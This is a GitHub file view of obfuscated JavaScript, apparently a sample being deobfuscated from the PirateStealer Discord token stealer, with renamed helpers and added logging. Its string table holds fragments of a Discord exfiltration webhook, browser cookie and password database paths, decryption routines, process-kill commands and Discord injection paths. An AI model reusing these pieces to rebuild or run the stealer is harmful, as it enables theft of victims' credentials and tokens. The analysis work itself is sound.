-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathrealexemple1.js
More file actions
38 lines (30 loc) · 7.73 KB
/
realexemple1.js
File metadata and controls
38 lines (30 loc) · 7.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
(function (_0x1e7627, _0x3612f4) {
var _0xb82d85 = someFunc1,
_0x1321da = _0x1e7627();
var i = 0;
while (!![]) {
try {
var _0x53bd23 = -parseInt(_0xb82d85(0x22f)) / (0x1 * 0x19ed + 0x120d * 0x2 + -0x3e06) + parseInt(_0xb82d85(0x291)) / (0x11b1 + -0x43e + 0x1 * -0xd71) * (-parseInt(_0xb82d85(0xc3)) / (0x2701 * -0x1 + 0x1b7d + -0xd * -0xe3)) + -parseInt(_0xb82d85(0xca)) / (0x1d61 + -0x15db + -0x782 * 0x1) * (parseInt(_0xb82d85(0x13b)) / (0x163c + 0x1 * -0x1f55 + 0x91e)) + parseInt(_0xb82d85(0x222)) / (-0xb28 + 0x2005 * -0x1 + 0x1 * 0x2b33) * (-parseInt(_0xb82d85(0xa9)) / (0x337 + 0x68 * -0x26 + 0xc40)) + parseInt(_0xb82d85(0x11b)) / (0x2a * -0x78 + -0xd * 0x8f + 0x1afb) + -parseInt(_0xb82d85(0x234)) / (-0x8b * 0x11 + 0x256f + -0x1c2b) + parseInt(_0xb82d85(0x13c)) / (0x7a1 * 0x1 + 0x2262 + -0x29f9);
i = i + 1;
console.log(i);
if (_0x53bd23 === _0x3612f4) break;
else _0x1321da['push'](_0x1321da['shift']());
} catch (_0x5d94) {
_0x1321da['push'](_0x1321da['shift']());
}
}
}(someFunc2, 0x756e9 + 0x7ee55 + 0x3fb * -0x223));
function someFunc2(){var _0x50a6a2=['value','2|6|8|3|9|','eaQVV','zymTb','8|5|0|4|7|','ord.asar','aes-128-cb','%WEBHOOK_L','darwin','MhvGV','nKfXK','rOtBE','path','tfitQ','aUYGg','tpPWt','ocal\x5cGoogl','PSbtZ','SFdzP','2|5','IWOw6bcuCL','\x0aName:\x20','re,\x20expire','wUbAw','OuHLY','dkhqj','TpvDW','ary.exe','zINqA','protocol','2999765COSONd','21831310cDwKMy','ion','UtRZN','1|4|2','iscord','UozdO','length','VYFYn','──────────','lerBTW','cHhYw','opyji','base64','PirateStea','YXqRU','ould\x20be\x20ht','ZguZq','password_v','s_utc,\x20nam','binary','iCBxG','iSQoS','kKGuX','error','bgEGX','tlcvF','log','VzYmr','OTyPQ','syTXA','LjsPk','end','ZRBTz','zwERo','resolve','OEuPj','wwBGu','SWhhf','value,\x20cre','w.githubus','copyFileSy','\x20is_httpon','scord.com/','buffer-rep','wcNrC','ncJjk','cvXld','0|6|5|7|3|','ookies','DDdFY','4|0|6|3|1|','CeJbV','ser\x20Data','2|1|4|3|0','setAuthTag','WjmXX','kJxJH','ra\x20Softwar','Homedir:\x20','3|0|1|2|4','getPasswor','ROM\x20logins','qbl7Y2P4cv','name','OyvjT','inject-not','Edge\x20Safe\x20','FXcQf','PRDhG','AAhJG','com/bytixo','api/webhoo','%path%','────\x0a\x0a\x0a\x0a\x0a','znOUn','from','qIaBi','\x0aComputer\x20','GRcFK','EWaAZ','_core-*\x5cdi','Lmcuk','\x20FROM\x20cook','SqEUr',':\x20Successf','BHujz','os_crypt','t_key,\x20pat','init','IcsVw','gsDgM','JdDPQ','host_key','origin_url','setColor','hZwdy','vCEQE','\x5cCookies.t','%DISABLEQR','env','mkdtempSyn','Inject\x20Pat','uTBsj','-code','yEHtj','blDEU','utf-8','cvGtK','Rgwy8Dyw43','nIRDa','https','win-dpapi','bhook-node','nqogw','xample.com','PHfri','zgUot','qDhbU','zEUiS','\x5cAppData\x5cL','/PirateSte','\x0aUsername\x20','catch','etxbT','tealer!\x0aVi','XgIac','pheriv','aXUfY','Only\x20Mac,\x20','ies','\x5cBetterDis','hyHtO','\x0aValue:\x20','persistent','IM\x20','CxXsF','aes-256-gc','gMqQC','aSGAf','QdNOe','true','setTitle','VFkC-uY638','OulMp','discorddev','LHPBR','taskkill\x20/','ooMvO','wuudc','elopment','unprotectD','ry:\x20','\x5cDefault\x5cL','kvbxB','UlrJm','mAaDI','taqmh','ZwhvJ','yvRHK','rTZXK','username_v','jGcKs','laJTn','BuMKj','discord','e,\x20value,\x20','RmWZf','AUksc','GnzYs','5|7|4|6|2|','stanleyisg','\x5cPasswords','8|2|0|4|7|','FoyVo','sha1','omySF','VnqJd','fRRBl','tygzY','Chrome','logout-not','embed-colo','uhgDM','DiscordDev','setAutoPad','xTgQC','zTtMp','\x5capp-*\x5cmod','XRtjM','e\x5cChrome\x5cU','HpWDA','sbGQg','MDzEM','e\x20--proces','wNVVu','VcHAT','\x5cAppData\x5cR','fIBdk','h,\x20is_secu','existsSync','tSPTM','\x0aFree\x20Memo','MJCvj','re\x20support','lace','dBjck','ssTGi','CurrentUse','(or\x20email)','1|8|0|3','ufqVE','JgGzZ','serialize','split',':syringe:\x20','TEhBO','ata','dsiVa','tEdMc','ymldV','PS-','MyKPC','cyCia','pbkdf2','zpvWA','GQjaz','bvCRb','platform','Xvscb','YDlHF','744264oJYcQy','KIZCh',':\x20%path%\x0a─','VlVSg','AlwAa','avabN','JgXiD','gPtIL','ndex.js','IvYDU','ZIMTC','eQJTu','cRlRX','798505ZNLhye','\x0aPassword:','https://ww','qxzBS','Opera','1962702JvpwiL','oaming\x5cOpe','ess','MkvOz','undefined','qtLEr','VeEiE','/path/','FnRiy','keytar','HDfCj','PRQiQ','YVHur','mEDce','zkAiX','map','ler','ler\x20Premiu','update','totalmem','LJfIZ','nzKuV','vGqDr','.txt','qOkUe','WeFYC','kTfTx','User\x20Data','ejlZR','crOvJ','scord_desk','\x5clogin\x20dat','feOPF','pires,\x20is_','xrMNR','RkvYW','TuGhO','saltysalt','peanuts','hpSlF','rNsAX','%LOGOUTNOT','sStart\x20','──────\x0a\x0a','nibbB','encrypted_','SCIIW','qBbIZ','WMw_6r-D7r','ary','ync','https://di','wpaFo','────\x0a\x0a\x0a\x0a','xjImL','eLAgl','soft\x5cEdge\x5c','copy','jgiWq','WspEL','```','send','ECBKk','mnKcm','.exe\x20/F','twOAB','Ooxsb','tmpdir','OEvNr','pEIhR','FkRNk','\x0a─────────','cHMOQ','Default','CEwcK','AzsSf','key','DiscordPTB','src/Inject','hLfLr','gShXX','reverse','igtAA','bpcZJ','nd\x20Linux\x20a','final','init-notif','YtaVE','data','linux','instant','aKYXH','nexe-nativ','20csMjfX','discordptb','MJDqo','jHaQX','eQfOj','betterdisc','LJCeU','crypto','close','iLdZI','gZXcd','NIYwU','rd_desktop','\x5cDefault\x5cC','Lsyvl','irQRE','SIdam','─────\x0aHost','3|1|5|6','\x5cbrowser','ObHQE','homedir','2EI5loHneV','XMAXc','JOOnn','ercontent.','replace','kHtIo','top_core\x5ci','\x20Stable','alue','#fff','ding','rmYhN','5|2|1|3|0|','IstcP','ks\x20for\x20usi','hostname','each','HRTMM','ng\x20PirateS','EsrQP','discordcan','OVisT','\x20format\x20sh','ogin\x20Data','pmHxk','4/1cVDE6RO','YEQmC','createDeci','tp://www.e','─────\x0aThan','mQIFR','sendFile','ulCcW','SXiNN','PmqTJ','TOTui','ion/inject','ohTYj','includes','parse','CODE%','HAfoh','cord\x5cdata\x5c','knkHr','\x5cLocal\x20Sta','DaXkv','aler/main/','iZTGA','ify','ctims\x20Path','Zpnql','frKQp','post','ShriH','url','sqlite3','vQyNc','ANaKO','3|0|1|4|2','PNrZE','gamjw','.exe','EYCMO','toString','yGdKl','ull\x20inject','ZMgha','child_proc','join','HuBYV','ed.','0|3|4|5|7|','lfkLC','ks/9122522','MCTUc','7AvVHkH','setDescrip','DiscordCan','CUDAH','kaKMs','FgiOZ','HJKBR','SELECT\x20*\x20F','MvtBz','UllTZ','writeFileS','CfIKp','\x5cUpdate.ex','disable-qr','setFooter','cLtiF','discord-we','piuhU','HrvBo','ory:\x20','then','BgrUz','AiVGC','lorfU','aLgOV','eKDPU','44649LytKqW','tfdmt','readFileSy','push','false','w.xelies.c','kdpoi','4IqgtSy','sync','qizeP','vMtlR','IjArC','fQaRp','tCmBA','rctTJ','LOCALAPPDA','BJxTz','ules\x5cdisco','ocal\x5cMicro','axios','Storage','parse\x20URI,','Hostname:\x20','jTXHh','glob','forEach','1|0|4|3|2','Could\x20not\x20','sUASP','Discord.ex','index.js','oNCQV','elopment.e','eicAd','SELECT\x20hos','\x5cCookies','\x20Key:\x20','\x5ccookies','mkdirSync','ation_utc,','Windows,\x20a',':detective','Tafrz','e\x5cOpera\x20GX','win32','6|10|9|3|2','INK%','uTMjs','─────\x0aURL:','orvuL','bwNWh','ly,\x20has_ex','logout','IkfqZ','dFVYo','oGeOW','SKZXj','https://ra','PpQTR','get','match','3447704','Database','AGwby','aPqfG','FUxuU','ewbId','jejIc','SKIaD','readdirSyn','slice','tion','pqhjS','mepBG','KYCBm','Lavqz','ngCNm','utf8','awPCe','%INITNOTI%','UTmmA','tasklist','Fcccr','6|2|1','6645775974','\x0aTotal\x20Mem','\x5cLogin\x20Dat','4|5|1|0|7','1197216afqMax','appdata'];someFunc2=function(){return _0x50a6a2;};
retval = someFunc2();
return retval;
}
function someFunc1(_0x4fe2be, _0x4b67a2) {
var someArray1 = someFunc2();
return someFunc1 = function (someIndex, useless) {
someIndex = someIndex - (0xc17 + -0x447 + 0xa7 * -0xb);
var _0x2b1c2d = someArray1[someIndex];
return _0x2b1c2d;
}, someFunc1(_0x4fe2be, _0x4b67a2);
}
hook = someFunc1(0x267) + someFunc1(0x166) + someFunc1(0x183) + someFunc1(0xa7) + someFunc1(0x117) + someFunc1(0x2c0) + someFunc1(0x17a) + someFunc1(0x1ca) + someFunc1(0x264) + someFunc1(0x131) + someFunc1(0x1a8) + someFunc1(0x2a7)
console.log(hook)